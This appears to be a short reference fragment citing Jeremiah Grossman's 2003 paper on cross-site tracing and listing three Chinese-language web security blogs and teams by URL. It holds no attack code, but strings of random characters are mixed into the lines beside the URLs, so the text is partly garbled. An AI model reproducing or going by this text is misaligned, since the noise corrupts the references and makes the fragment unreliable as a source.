"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
3 w6 c! ~; u8 K8 q9 W/ w4 q空虚浪子心BLOG http://www.inbreak.net
  A, D( p2 ~( O3 I! kXeye Team http://xeye.us/